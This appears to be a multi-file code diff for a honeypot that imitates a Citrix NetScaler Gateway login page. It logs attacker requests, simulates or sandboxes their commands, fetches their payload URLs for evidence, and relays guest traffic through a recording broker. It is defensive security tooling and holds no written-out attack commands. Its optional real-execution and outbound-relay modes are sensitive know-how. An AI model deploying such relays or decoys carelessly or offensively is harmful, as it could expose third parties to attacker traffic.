if len(state.pending) < MAX_PENDING:
state.pending.append((time.monotonic() + self.delay, command, context))
else:
self.emit('limit', **context, resource='pending_commands')
def tick(self):
pending_vm = []
with self.lock:
for state in self.sessions.values():
while state.pending and state.pending[0][0] <= time.monotonic():
_, command, context = state.pending.popleft()
if self.backend:
pending_vm.append((command, context))
continue
self.emit('simulation_start', **context, command=command)
download = (lambda text: self.fetcher.submit(text, context)) if self.fetcher else None
simulate(state, command, lambda event, **data: self.emit(event, **context, **data), download)
self.emit('simulation_end', **context)
for command, context in pending_vm:
self.backend.execute(command, context)
class Server(http.server.ThreadingHTTPServer):
daemon_threads = True
allow_reuse_address = True
def __init__(self, address, engine, tls=None, proxy_from=None, serve_guest_files=True,
trusted_forwarded=()):
self.engine, self.tls = engine, tls
self.proxy_from = proxy_from
self.serve_guest_files = serve_guest_files
# Only a hop (the PROXY-declared source) inside one of these networks may set client headers.
self.trusted_forwarded = [ipaddress.ip_network(value, strict=False) for value in trusted_forwarded]
self.capture_failed = False
self.slots = threading.BoundedSemaphore(32)
self.local = threading.local()
super().__init__(address, Handler)
def _trusts_forwarded(self, peer):
try:
address = ipaddress.ip_address(peer)
except ValueError:
return False
return any(address in network for network in self.trusted_forwarded)
def process_request(self, request, address):
if not self.slots.acquire(blocking=False):
self.engine.emit('connection_rejected', peer=address[0], peer_port=address[1], reason='connection_limit')
self.shutdown_request(request)
return
try:
super().process_request(request, address)
except BaseException:
self.slots.release()
raise
def process_request_thread(self, request, address):
try:
request.settimeout(5)
if self.proxy_from:
original = address
address, header = proxy_source(request, original, self.proxy_from)
self.engine.emit('trusted_ingress', peer=address[0], peer_port=address[1],
transport_peer=original[0], transport_port=original[1], content=header)
if self.tls:
request = self.tls.wrap_socket(request, server_side=True)
# The hop that connected to us is the PROXY-declared source (or socket peer without PROXY).
self.local.trusted = self._trusts_forwarded(address[0])
super().process_request_thread(request, address)
except (OSError, ssl.SSLError, ValueError, UnicodeError):
if isinstance(sys.exc_info()[1], EvidenceError):
self.handle_error(request, address)
else:
try:
self.engine.emit('transport_error', peer=address[0], peer_port=address[1],
error=type(sys.exc_info()[1]).__name__)
except EvidenceError as error:
self.stop_capture(error)
self.shutdown_request(request)
finally:
self.slots.release()
def handle_error(self, request, address):
error = sys.exc_info()[1]
if isinstance(error, EvidenceError):
self.stop_capture(error)
else:
try:
self.engine.emit('handler_error', peer=address[0], peer_port=address[1], error=type(error).__name__)
except EvidenceError as failure:
self.stop_capture(failure)
def stop_capture(self, error):
if self.capture_failed:
return
self.capture_failed = True
if self.engine.backend:
try:
self.engine.backend.close(trip=True)
except OSError:
pass
print(f'CAPTURE STOPPED: {error}', file=sys.stderr, flush=True)
threading.Thread(target=self.shutdown, daemon=True).start()
class Handler(http.server.BaseHTTPRequestHandler):
server_version = 'Apache'
sys_version = ''
protocol_version = 'HTTP/1.1'
def version_string(self):
return self.server_version
def log_message(self, format, *args):
self.event('http_diagnostic', message=format % args)
def event(self, event, **data):
self.server.engine.emit(event, **self.context, **data)
def handle_one_request(self):
self.context = dict(request_id=secrets.token_hex(16), peer=self.client_address[0],
peer_port=self.client_address[1],
local_ip=self.connection.getsockname()[0],
local_port=self.connection.getsockname()[1])
self.status = None
self.body_complete = False
self.started = time.monotonic_ns()
original = self.rfile
recorder = RecordingReader(original, MAX_BODY + 131072)
self.rfile = recorder
try:
self.event('connection', tls=isinstance(self.connection, ssl.SSLSocket),
tls_cipher=self.connection.cipher() if isinstance(self.connection, ssl.SSLSocket) else None)
super().handle_one_request()
except EvidenceError:
raise
except (TimeoutError, ConnectionError, OSError) as error:
self.event('request_interrupted', reason=type(error).__name__)
finally:
self.rfile = original
self.event('request_end', status=self.status,
duration_ms=(time.monotonic_ns() - self.started) / 1e6,
body_complete=self.body_complete, wire_truncated=recorder.truncated,
content=bytes(recorder.data),
capture_scope='consumed HTTP bytes after TLS; unread/rejected bytes not captured')
def send_response(self, code, message=None):
self.status = code
super().send_response(code, message)
def send_error(self, code, message=None, explain=None):
self.event('http_rejected', status=code, reason=message or self.responses.get(code, ('',))[0])
super().send_error(code, message, explain)
def __getattr__(self, name):
if name.startswith('do_'):
return self.handle_decoy
raise AttributeError(name)
def read_bytes(self, size):
chunks = bytearray()
while len(chunks) < size:
if time.monotonic_ns() - self.started > 30 * 10**9:
raise ValueError('request duration limit')
data = self.rfile.read1(min(65536, size - len(chunks)))
if not data:
raise ValueError('incomplete request body')
chunks.extend(data)
return bytes(chunks)
def read_body(self):
lengths = self.headers.get_all('Content-Length', [])
transfers = self.headers.get_all('Transfer-Encoding', [])
if len(lengths) > 1 or len(transfers) > 1 or (lengths and transfers):
raise ValueError('ambiguous body framing')
if transfers:
if transfers[0].lower().strip() != 'chunked':
raise ValueError('unsupported transfer encoding')
body = bytearray()
for _ in range(4096):
line = self.rfile.readline(1025)
if len(line) > 1024 or not line.endswith(b'\r\n'):
raise ValueError('invalid chunk header')
size_text = line.split(b';', 1)[0].strip()
if not re.fullmatch(rb'[0-9a-fA-F]+', size_text):
raise ValueError('invalid chunk size')
size = int(size_text, 16)
if len(body) + size > MAX_BODY:
raise OverflowError('body limit')
if size == 0:
trailers = bytearray()
while len(trailers) <= 32768:
line = self.rfile.readline(1025)
trailers.extend(line)
if line == b'\r\n':
self.event('request_trailers', content=bytes(trailers))
return bytes(body)
if not line or len(line) > 1024:
break
raise ValueError('invalid trailers')
body.extend(self.read_bytes(size))
if self.read_bytes(2) != b'\r\n':
raise ValueError('invalid chunk terminator')
raise ValueError('chunk count limit')
length = int(lengths[0]) if lengths else 0
if length < 0:
raise ValueError('negative content length')
if length > MAX_BODY:
raise OverflowError('body limit')
return self.read_bytes(length)
def capture_body(self, body):
self.event('request_body', content=body, content_type=self.headers.get('Content-Type', ''))
kind = self.headers.get_content_type()
if kind == 'multipart/form-data':
raw_type = self.headers.get('Content-Type', '')
# MIME parsing only: never use a supplied filename as a host path.
message = email.parser.BytesParser(policy=email.policy.default).parsebytes(
('Content-Type: ' + raw_type + '\r\nMIME-Version: 1.0\r\n\r\n').encode('latin1') + body)
if not message.is_multipart():
self.event('multipart_parse_error', reason='not multipart; raw body retained')
return []
fields = []
for index, part in enumerate(message.walk()):
if index >= 128:
self.event('limit', resource='multipart_parts', raw_body_retained=True)
break
if part.is_multipart():
continue
payload = part.get_payload(decode=True) or b''
filename = part.get_filename()
field = part.get_param('name', header='content-disposition')
self.event('upload' if filename is not None else 'multipart_field',
filename=filename, field=field, content_type=part.get_content_type(),
defects=[type(d).__name__ for d in part.defects], content=payload)
if filename is not None and self.server.engine.backend:
self.server.engine.backend.upload(payload, self.context)
if filename is None and len(payload) <= 65536:
fields.append((field or '', payload.decode('utf-8', 'replace')))
return fields
if kind == 'application/x-www-form-urlencoded':
if len(body) > 65536:
self.event('limit', resource='form_decoding', raw_body_retained=True)
return []
try:
fields = urllib.parse.parse_qsl(body.decode('utf-8', 'replace'), max_num_fields=128)
self.event('form_fields', fields=fields)
return fields
except ValueError:
self.event('form_parse_error', raw_body_retained=True)
return []
if body:
self.event('upload_or_raw_payload', filename=None, content=body)
if self.server.engine.backend:
self.server.engine.backend.upload(body, self.context)
return []
def handle_decoy(self):
engine = self.server.engine
# Trusted Cloudflare/edge headers only when the connecting hop is a configured proxy.
if getattr(self.server.local, 'trusted', False) and self.headers is not None:
client, source = forwarded_client(self.headers)
if client and client != self.client_address[0]:
self.context.update(peer=client, client_ip_source=source,
proxy_peer=self.client_address[0])
self.client_address = (client, self.client_address[1])
with engine.lock:
state = engine.session(self.client_address[0])
self.context['session'] = state.sid
if engine.backend:
engine.backend.register_peer(self.client_address[0])
self.event('request', method=self.command, uri=self.path, version=self.request_version,
headers=list(self.headers.raw_items()))
signatures = exploit_signatures(self.path)
if signatures:
self.event('exploit_attempt', signatures=signatures, uri=self.path)
if sum(len(k) + len(v) for k, v in self.headers.items()) > 32768:
self.send_error(431)
return
try:
body = self.read_body()
except (ValueError, OverflowError) as error:
self.send_error(413 if isinstance(error, OverflowError) else 400, str(error))
return
self.body_complete = True
fields = self.capture_body(body)
try:
url = urllib.parse.urlsplit(self.path)
except ValueError:
self.send_error(400, 'invalid URL')
return
auth_fields = {key.lower() for key, _ in fields}
if self.command == 'POST' and (url.path.startswith('/nf/auth/') or
url.path in ('/vpn/login', '/vpn/login.html', '/cgi/login') or
auth_fields.intersection({'passwd', 'password', 'pwd', 'passcode'})):
engine.auth_attempt(state, self.context, url.path)
vm_read_path = None
with engine.lock:
candidates = [('uri', urllib.parse.unquote(self.path))]
candidates += [('header:' + key, value) for key, value in self.headers.items()]
candidates += [('form:' + key, value) for key, value in fields]
engine.ingest(state, candidates, self.context)
code, data, mime = 200, LOGIN, 'text/html; charset=utf-8'
if url.path in STATIC:
data, mime = STATIC[url.path]
elif url.path.startswith('/nf/auth/'):
data = ('<AuthenticateResponse xmlns="http://citrix.com/authentication/response/1">'
'<Status>success</Status><Result>more-info</Result>'
'<StateContext>' + html.escape(state.sid) + '</StateContext>'
'</AuthenticateResponse>').encode()
mime = 'application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8'
elif url.path not in LOGIN_PATHS:
key = posixpath.normpath(WEBROOT + '/' + urllib.parse.unquote(url.path).lstrip('/'))
if not self.server.serve_guest_files:
code, data = 404, b'Not Found'
elif engine.backend and key.startswith(WEBROOT + '/'):
vm_read_path = key
code, data = 404, b'Not Found'
elif key.startswith(WEBROOT + '/') and key in state.files:
data = state.files[key].encode()
mime = 'text/plain; charset=utf-8'
self.event('virtual_file_http_read', path=key, content=data)
else:
code, data = 404, b'Not Found'
if vm_read_path:
result = engine.backend.read(vm_read_path, self.context)
if result is not None:
code, data, mime = 200, result, 'text/plain; charset=utf-8'
# Headers shaped like the real NetScaler Gateway AAA response; HTTP/1.1 keep-alive is default.
headers = [('Content-Type', mime), ('Content-Length', str(len(data))),
('Cache-Control', 'no-cache, no-store, must-revalidate'),
('Pragma', 'no-cache'), ('Expires', '0'),
('X-Frame-Options', 'SAMEORIGIN'), ('X-Content-Type-Options', 'nosniff'),
('X-XSS-Protection', '1; mode=block'),
('Set-Cookie', f'NSC_AAAC={state.sid}; Path=/; Secure; HttpOnly'),
('Content-Security-Policy',
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; "
"img-src 'self' data:; font-src 'self'; frame-ancestors 'self'; "
"connect-src 'self' citrixng:// com.citrix.nsgclient:// nsgcepa://; "
"report-uri /nscsp_violation/report_uri")]
self.event('response', status=code, headers=headers, content=data,
body_suppressed=self.command == 'HEAD')
self.send_response(code)
for key, value in headers:
self.send_header(key, value)
self.end_headers()
if self.command != 'HEAD':
self.wfile.write(data)
self.event('response_sent', status=code, body_bytes=0 if self.command == 'HEAD' else len(data))
def parse_trusted(spec):
"""Split a comma-separated CIDR list; @path reads one CIDR per line from a file."""
items = []
for raw in (spec or '').split(','):
raw = raw.strip()
if not raw:
continue
if raw.startswith('@'):
items.extend(line.strip() for line in pathlib.Path(raw[1:]).read_text().splitlines())
else:
items.append(raw)
result = [item for item in items if item and not item.startswith('#')]
for item in result:
ipaddress.ip_network(item, strict=False)
return result
def main():
load()
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument('--hide-guest-files', action='store_true', help='serve only fixed NetScaler UI/auth routes over HTTP')
parser.add_argument('--vm-config', default=os.environ.get('DECOY_VM_CONFIG') or None,
help='opt-in dedicated disposable guest SSH configuration')
parser.add_argument('--allow-real-execution', action='store_true',
help='required with --vm-config; real attacker commands then run in the isolated guest')
parser.add_argument('--bind', default=os.environ.get('HONEYPOT_BIND', '127.0.0.1'))
parser.add_argument('--port', type=int, default=env_int('HONEYPOT_PORT', 8443))
parser.add_argument('--cert')
parser.add_argument('--key')
parser.add_argument('--proxy-protocol-from', default=os.environ.get('HONEYPOT_PROXY_PROTOCOL_FROM') or None,
help='require PROXY v1 only from this exact trusted transport IP')
parser.add_argument('--trusted-forwarded-from', default=os.environ.get('HONEYPOT_TRUSTED_FORWARDED_FROM') or None,
help='comma-separated CIDRs whose CF-Connecting-IP/X-Forwarded-For headers are trusted')
parser.add_argument('--fetch-payloads', action='store_true',
help='download payload URLs from attacker commands (HTTP GET only; never executed)')
parser.add_argument('--delay', type=float, default=1,
help='simulated log processing delay in seconds (real appliance may take 24h)')
parser.add_argument('--log-dir', default=os.environ.get('HONEYPOT_LOG_DIR', str(pathlib.Path(__file__).parent / 'logs')))
parser.add_argument('--evidence-mib', type=int, default=env_int('HONEYPOT_EVIDENCE_MIB', 1024),
help='total evidence quota; stop rather than overwrite at this limit')
args = parser.parse_args()
if bool(args.cert) != bool(args.key) or not 0 <= args.delay <= 86400 or args.evidence_mib < 1:
parser.error('provide both cert/key; delay must be 0..86400; evidence-mib must be positive')
if args.vm_config and not args.allow_real_execution:
parser.error('--vm-config requires --allow-real-execution; keep internet-facing listeners in simulation mode')
if args.allow_real_execution and not args.vm_config:
parser.error('--allow-real-execution requires --vm-config')
os.umask(0o077)
directory = pathlib.Path(args.log_dir)
evidence = Evidence(directory, args.evidence_mib * 1024 * 1024)
context = None
if args.cert:
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(args.cert, args.key)
engine = Engine(evidence.emit, args.delay, evidence.save)
try:
server = Server((args.bind, args.port), engine, context, args.proxy_protocol_from,
serve_guest_files=not args.hide_guest_files,
trusted_forwarded=parse_trusted(args.trusted_forwarded_from))
except (OSError, ValueError) as error:
parser.error(f'invalid --trusted-forwarded-from: {error}')
if args.fetch_payloads:
from payload_fetch import Fetcher
engine.fetcher = Fetcher(engine.emit, on_failure=server.stop_capture)
if args.vm_config:
from vm_backend import VMBackend
engine.backend = VMBackend(args.vm_config, engine.emit)
engine.backend.on_failure = server.stop_capture
stopping = threading.Event()
def worker():
while not stopping.wait(0.25):
try:
engine.tick()
except EvidenceError as error:
server.stop_capture(error)
break
threading.Thread(target=worker, daemon=True).start()
engine.emit('start', mode='disposable_vm' if engine.backend else 'simulation', bind=args.bind, port=server.server_port,
delay=args.delay, evidence_quota_bytes=evidence.quota, max_body_bytes=MAX_BODY,
serve_guest_files=server.serve_guest_files, real_execution=bool(engine.backend),
payload_fetch=bool(engine.fetcher))
if engine.backend:
print('WARNING: real execution enabled; attacker commands run only in the isolated disposable guest',
file=sys.stderr, flush=True)
if engine.fetcher:
print('Payload fetch enabled: attacker URLs are downloaded (HTTP GET only, never executed)',
file=sys.stderr, flush=True)
print(f"Decoy: {'https' if context else 'http'}://{args.bind}:{server.server_port}; logs: {directory}", flush=True)
try:
server.serve_forever()
except KeyboardInterrupt:
pass
finally:
stopping.set()
if engine.backend:
engine.backend.close()
server.server_close()
evidence.close()
if server.capture_failed:
raise SystemExit(1)
if __name__ == '__main__':
main()
+67
View File
@@ -0,0 +1,67 @@
#!/usr/bin/env python3
"""TCP forwarding with trusted PROXY v1 metadata, before any TLS bytes."""
import argparse
import asyncio
import ipaddress
import os
from env_file import load, env_int
async def forward(reader, writer, target_host, target_port):
upstream = None
try:
peer = writer.get_extra_info('peername')
local = writer.get_extra_info('sockname')
family = 'TCP6' if ipaddress.ip_address(peer[0]).version == 6 else 'TCP4'
remote, upstream = await asyncio.wait_for(asyncio.open_connection(target_host, target_port), 5)
upstream.write(f'PROXY {family} {peer[0]} {local[0]} {peer[1]} {local[1]}\r\n'.encode('ascii'))
await upstream.drain()
async def copy(source, destination):
while data := await asyncio.wait_for(source.read(65536), 60):
destination.write(data)
await asyncio.wait_for(destination.drain(), 10)
if destination.can_write_eof():
destination.write_eof()
await asyncio.wait_for(asyncio.gather(copy(reader, upstream), copy(remote, writer)), 120)
except (OSError, asyncio.TimeoutError):
pass
finally:
if upstream:
upstream.close()
writer.close()
async def serve(args):
active = set()
allowed = [ipaddress.ip_network(item.strip(), strict=False)
for item in (args.allow_from or '').split(',') if item.strip()]
def permitted(peer):
return not allowed or any(ipaddress.ip_address(peer[0]) in network for network in allowed)
async def accept(reader, writer):
if len(active) >= 64 or not permitted(writer.get_extra_info('peername')):
writer.close()
return
task = asyncio.current_task()
active.add(task)
try:
await forward(reader, writer, args.target, args.target_port)
finally:
active.discard(task)
server = await asyncio.start_server(accept, args.bind, args.port, limit=65536)
async with server:
await server.serve_forever()
if __name__ == '__main__':
load()
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument('--bind', default=os.environ.get('INGRESS_BIND', '127.0.0.1'))
parser.add_argument('--port', type=int, default=env_int('INGRESS_PORT', 18443))
parser.add_argument('--target', default=os.environ.get('INGRESS_TARGET', '127.0.0.1'))
parser.add_argument('--target-port', type=int, default=env_int('INGRESS_TARGET_PORT', 19443))
parser.add_argument('--allow-from', default=os.environ.get('INGRESS_ALLOW_FROM', ''),
help='comma-separated CIDRs allowed to connect (empty = any)')
asyncio.run(serve(parser.parse_args()))
+289
View File
@@ -0,0 +1,289 @@
"""Bounded, recording TCP egress broker and Linux transparent guest relay.
Guest metadata is untrusted. The outside broker makes all destination decisions.
No TLS interception: encrypted stream bytes remain encrypted evidence.
"""
import argparse
import ipaddress
import json
import os
import pathlib
import select
import socket
import socketserver
import stat
import struct
import threading
import time
import uuid
from evidence import Evidence
MAX_STREAM = 16 * 1024 * 1024
TTL = 600
STOP = pathlib.Path('/var/lib/decoy/STOP')
def public_ip(value):
ip = ipaddress.IPv4Address(value)
if not ip.is_global or ip.is_multicast or ip.is_reserved:
raise ValueError('destination is not public unicast IPv4')
return str(ip)
def read_message(sock):
data = bytearray()
while len(data) < 4096:
char = sock.recv(1)
if char == b'\n':
message = json.loads(data)
if not isinstance(message, dict):
raise ValueError('expected object')
return message
if not char:
raise ValueError('incomplete request')
data.extend(char)
raise ValueError('request too large')
def send_message(sock, value):
sock.sendall(json.dumps(value, separators=(',', ':')).encode() + b'\n')
def allowed_peers(path):
try:
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)
with os.fdopen(fd, 'rb') as stream:
info = os.fstat(stream.fileno())
if not stat.S_ISREG(info.st_mode) or info.st_uid != 0 or info.st_mode & 0o022 or time.time() - info.st_mtime > 3600:
return set()
data = stream.read(65537)
if len(data) > 65536:
return set()
peers = json.loads(data)
if not isinstance(peers, list):
return set()
result = set()
for peer in peers:
try:
if isinstance(peer, str):
result.add(public_ip(peer))
except ValueError:
pass
return result
except (OSError, ValueError, TypeError):
return set()
def pipe(left, right, record=None, stopped=lambda: False):
"""Preserve chunk ordering; record before forwarding, including binary bytes."""
streams = {left: (right, 'guest_to_remote'), right: (left, 'remote_to_guest')}
deadline, total, sequence = time.monotonic() + TTL, 0, 0
while streams:
if stopped():
return 'capture_stopped', total
if time.monotonic() >= deadline:
return 'lifetime_limit', total
ready, _, _ = select.select(list(streams), [], [], max(0, min(1, deadline - time.monotonic())))
for source in ready:
target, direction = streams[source]
data = source.recv(min(16384, MAX_STREAM - total + 1))
if not data:
target.shutdown(socket.SHUT_WR)
del streams[source]
continue
if total + len(data) > MAX_STREAM:
if record:
record(sequence, direction, data, forwarded=False)
return 'byte_limit', total
if record:
record(sequence, direction, data, forwarded=True)
sequence += 1
target.sendall(data)
total += len(data)
return 'eof', total
class Server(socketserver.ThreadingTCPServer):
allow_reuse_address = True
daemon_threads = True
def __init__(self, address, handler, **settings):
self.__dict__.update(settings)
self.slots = threading.BoundedSemaphore(32)
self.failed = threading.Event()
super().__init__(address, handler)
def process_request(self, request, address):
if self.failed.is_set() or STOP.exists() or not self.slots.acquire(False):
request.close()
return
try:
super().process_request(request, address)
except BaseException:
self.slots.release()
raise
def process_request_thread(self, request, address):
try:
super().process_request_thread(request, address)
finally:
self.slots.release()
class Broker(socketserver.BaseRequestHandler):
def fail(self):
self.server.failed.set()
STOP.parent.mkdir(parents=True, exist_ok=True)
STOP.touch(mode=0o600, exist_ok=True)
def event(self, kind, **data):
if self.server.failed.is_set() or STOP.exists():
raise OSError('evidence failed')
try:
self.server.evidence.emit(kind, connection_id=self.cid, reported_guest=self.client_address[0], **data)
except OSError:
self.fail()
raise
def chunk(self, sequence, direction, data, forwarded):
try:
blob = self.server.evidence.save(data)
self.event('network_chunk', sequence=sequence, direction=direction, forwarded=forwarded, **blob)
except OSError:
self.fail()
raise
def handle(self):
self.cid = uuid.uuid4().hex
self.request.settimeout(10)
connected = False
try:
message = read_message(self.request)
self.event('network_request', untrusted_request=message)
if message.get('op') == 'dns':
name = message.get('name')
if not isinstance(name, str) or len(name) > 253 or not all(c.isascii() and (c.isalnum() or c in '.-') for c in name):
raise ValueError('invalid DNS name')
addresses = set()
for answer in socket.getaddrinfo(name, None, socket.AF_INET, socket.SOCK_STREAM):
try:
addresses.add(public_ip(answer[4][0]))
except ValueError:
pass
answers = sorted(addresses)[:16]
self.event('dns_result', name=name, addresses=answers)
send_message(self.request, {'ok': True, 'addresses': answers})
return
if message.get('op') != 'connect':
raise ValueError('unknown operation')
ip = public_ip(message.get('ip'))
port = message.get('port')
if type(port) is not int or not 1 <= port <= 65535:
raise ValueError('invalid port')
if port not in (80, 443) and ip not in allowed_peers(self.server.peers):
raise ValueError('port requires registered attacker peer')
# Numeric IP only: DNS cannot rebind between policy and connect.
with socket.create_connection((ip, port), timeout=10) as remote:
self.event('network_connected', destination_ip=ip, destination_port=port)
send_message(self.request, {'ok': True, 'connection_id': self.cid})
connected = True
reason, count = pipe(self.request, remote, self.chunk, lambda: self.server.failed.is_set() or STOP.exists())
self.event('network_end', reason=reason, bytes=count)
except (OSError, ValueError, TypeError) as exc:
try:
self.event('network_closed', reason=str(exc)[:300])
if not connected:
send_message(self.request, {'ok': False, 'error': 'connection denied or ended'})
except OSError:
pass
class Relay(socketserver.BaseRequestHandler):
def handle(self):
self.request.settimeout(10)
try:
original = self.request.getsockopt(socket.SOL_IP, 80, 16) # Linux SO_ORIGINAL_DST
port = struct.unpack('!H', original[2:4])[0]
ip = socket.inet_ntoa(original[4:8])
with socket.create_connection(self.server.broker, timeout=10) as remote:
send_message(remote, {'op': 'connect', 'ip': ip, 'port': port})
if read_message(remote).get('ok'):
pipe(self.request, remote)
except (OSError, ValueError):
pass
def dns_reply(packet, broker):
if len(packet) < 12 or len(packet) > 512:
return None
ident, flags, questions, _, _, _ = struct.unpack('!6H', packet[:12])
if questions != 1 or flags & 0xf800:
return None
labels, offset = [], 12
while offset < len(packet):
size = packet[offset]
offset += 1
if not size:
break
if size > 63 or offset + size > len(packet):
return None
try:
labels.append(packet[offset:offset + size].decode('ascii'))
except UnicodeDecodeError:
return None
offset += size
if offset + 4 != len(packet):
return None
qtype, qclass = struct.unpack('!HH', packet[offset:])
addresses, rcode = [], 0
if qclass == 1 and qtype == 1:
try:
with socket.create_connection(broker, timeout=5) as remote:
send_message(remote, {'op': 'dns', 'name': '.'.join(labels)})
reply = read_message(remote)
addresses = [public_ip(a) for a in reply.get('addresses', [])][:16] if reply.get('ok') else []
if not addresses:
rcode = 3
except (OSError, ValueError, TypeError):
rcode = 2
# Empty answer for AAAA/unsupported types avoids leaking around the broker.
header = struct.pack('!6H', ident, 0x8080 | (flags & 0x100) | rcode, 1, len(addresses), 0, 0)
answers = b''.join(b'\xc0\x0c' + struct.pack('!HHIH', 1, 1, 30, 4) + socket.inet_aton(ip) for ip in addresses)
return header + packet[12:] + answers
def main():
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument('--role', choices=('broker', 'relay'), required=True)
parser.add_argument('--listen', default='127.0.0.1')
parser.add_argument('--port', type=int)
parser.add_argument('--broker', default='10.0.2.100')
parser.add_argument('--broker-port', type=int, default=19090)
parser.add_argument('--dns-port', type=int, default=53)
parser.add_argument('--evidence', default='/var/lib/decoy/network')
parser.add_argument('--quota-mib', type=int, default=8192)
parser.add_argument('--peers', default='/var/lib/decoy/allowed-peers.json')
args = parser.parse_args()
if args.role == 'broker':
evidence = Evidence(args.evidence, quota=args.quota_mib * 1024 ** 2)
server = Server((args.listen, args.port or 19090), Broker, evidence=evidence, peers=args.peers)
else:
broker = (args.broker, args.broker_port)
# Bind DNS before serving TCP so a bind failure prevents partial startup.
dns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
dns.bind(('127.0.0.1', args.dns_port))
def serve_dns():
while True:
packet, peer = dns.recvfrom(513)
response = dns_reply(packet, broker)
if response:
dns.sendto(response, peer)
threading.Thread(target=serve_dns, daemon=True).start()
server = Server((args.listen, args.port or 15001), Relay, broker=broker)
with server:
server.serve_forever()
if __name__ == '__main__':
main()
+113
View File
@@ -0,0 +1,113 @@
"""Strict outbound payload fetcher. HTTP(S) GET only; never executes, pipes or writes files.
Egress policy: only http/https on ports 80/443; the host must resolve exclusively to global
unicast addresses (private/loopback/link-local/metadata rejected); the validated IP is pinned
for the actual connect so DNS rebinding cannot redirect it; redirects are re-validated and
depth-limited; size and time are bounded. Downloaded bytes go only to inert evidence storage.
"""
import http.client
import ipaddress
import re
import socket
import ssl
import threading
import urllib.parse
URL_RE = re.compile(r'https?://[^\s\'"`;|&$()<>\\]+', re.I)
MAX_BYTES = 16 * 1024 * 1024
TIMEOUT = 10
ALLOWED_PORTS = (80, 443)
def extract_urls(text):
return URL_RE.findall(text or '')
def public_addresses(host):
infos = socket.getaddrinfo(host, None, proto=socket.IPPROTO_TCP)
addresses = []
for info in infos:
address = info[4][0]
ip = ipaddress.ip_address(address)
if not ip.is_global or ip.is_multicast:
raise ValueError('host resolves to a non-public address')
if address not in addresses:
addresses.append(address)
if not addresses:
raise ValueError('host did not resolve')
return addresses
class _PinnedHTTP(http.client.HTTPConnection):
def __init__(self, host, ip, port):
super().__init__(host, port, timeout=TIMEOUT)
self._ip = ip
def connect(self):
self.sock = socket.create_connection((self._ip, self.port), self.timeout)
class _PinnedHTTPS(http.client.HTTPSConnection):
def __init__(self, host, ip, port):
super().__init__(host, port, timeout=TIMEOUT, context=ssl.create_default_context())
self._ip = ip
def connect(self):
raw = socket.create_connection((self._ip, self.port), self.timeout)
self.sock = self._context.wrap_socket(raw, server_hostname=self.host)
class Fetcher:
def __init__(self, emit, resolver=public_addresses, max_bytes=MAX_BYTES,
ports=ALLOWED_PORTS, redirects=3, slots=4, on_failure=None):
self.emit, self.resolver, self.on_failure = emit, resolver, on_failure
self.max_bytes, self.ports, self.redirects = max_bytes, ports, redirects
self.slots = threading.BoundedSemaphore(slots)
def submit(self, text, context):
for url in list(dict.fromkeys(extract_urls(text)))[:4]:
if not self.slots.acquire(False):
self._safe_emit('payload_fetch_rejected', url=url, reason='concurrency', **context)
continue
threading.Thread(target=self._run, args=(url, context), daemon=True).start()
def _safe_emit(self, event, **data):
try:
self.emit(event, **data)
except OSError as error:
if self.on_failure:
self.on_failure(error)
def _run(self, url, context):
try:
self._fetch(url, context)
except Exception as error:
self._safe_emit('payload_fetch_error', url=url, error=type(error).__name__, **context)
finally:
self.slots.release()
def _fetch(self, url, context, depth=0):
parts = urllib.parse.urlsplit(url)
if parts.scheme not in ('http', 'https') or not parts.hostname:
raise ValueError('blocked scheme or host')
port = parts.port or (443 if parts.scheme == 'https' else 80)
if port not in self.ports:
raise ValueError('blocked port')
addresses = self.resolver(parts.hostname)
connection = (_PinnedHTTPS if parts.scheme == 'https' else _PinnedHTTP)(
parts.hostname, addresses[0], port)
path = urllib.parse.urlunsplit(('', '', parts.path or '/', parts.query, ''))
try:
connection.request('GET', path, headers={'Host': parts.hostname,
'User-Agent': 'CitrixGateway', 'Accept': '*/*', 'Connection': 'close'})
response = connection.getresponse()
data = response.read(self.max_bytes + 1)
status, location = response.status, response.getheader('Location')
content_type = (response.getheader('Content-Type') or '')[:200]
finally:
connection.close()
self._safe_emit('payload_download', url=url, status=status, content_type=content_type,
truncated=len(data) > self.max_bytes, content=data[:self.max_bytes], **context)
# ponytail: only 3 redirect hops; raise the cap if a real payload chain needs more.
if location and status in (301, 302, 303, 307, 308) and depth < self.redirects:
self._fetch(urllib.parse.urljoin(url, location), context, depth + 1)
+42
View File
@@ -0,0 +1,42 @@
#!/usr/bin/env python3
"""Resolve this host's public IP so the viewer can hide operator traffic.
Loopback/private addresses are ignored. Use `--loop --interval 1800` to run it as a
30-minute refresher; the viewer imports discover() directly and refreshes itself.
"""
import argparse
import ipaddress
import time
import urllib.request
ENDPOINTS = ('https://api.ipify.org', 'https://ifconfig.me/ip',
'https://icanhazip.com', 'https://1.1.1.1/cdn-cgi/trace')
def discover(timeout=6):
for url in ENDPOINTS:
try:
with urllib.request.urlopen(url, timeout=timeout) as response:
text = response.read(256).decode('utf-8', 'replace')
except (OSError, ValueError):
continue
for token in text.replace('ip=', ' ').split():
try:
ip = ipaddress.ip_address(token.strip())
except ValueError:
continue
if ip.is_global:
return str(ip)
return None
if __name__ == '__main__':
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument('--loop', action='store_true', help='keep refreshing')
parser.add_argument('--interval', type=int, default=1800)
args = parser.parse_args()
while True:
print(discover() or '', flush=True)
if not args.loop:
break
time.sleep(args.interval)
+38
View File
@@ -0,0 +1,38 @@
"""Private auth detection must not change attacker-visible responses."""
import http.client
import threading
from honeypot import Engine, Server
rows = []
engine = Engine(lambda event, **data: rows.append(dict(event=event, **data)))
server = Server(('127.0.0.1', 0), engine, serve_guest_files=False)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
responses = []
try:
for _ in range(12):
conn = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3)
conn.request('POST', '/nf/auth/doAuthentication.do', 'login=fixture&passwd=synthetic',
{'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': '203.0.113.9'})
response = conn.getresponse()
responses.append((response.status, response.read()))
assert not any('brute' in k.lower() or 'rate' in k.lower() for k, _ in response.getheaders())
conn.close()
assert len(set(responses)) == 1
attempts = [r for r in rows if r['event'] == 'auth_attempt']
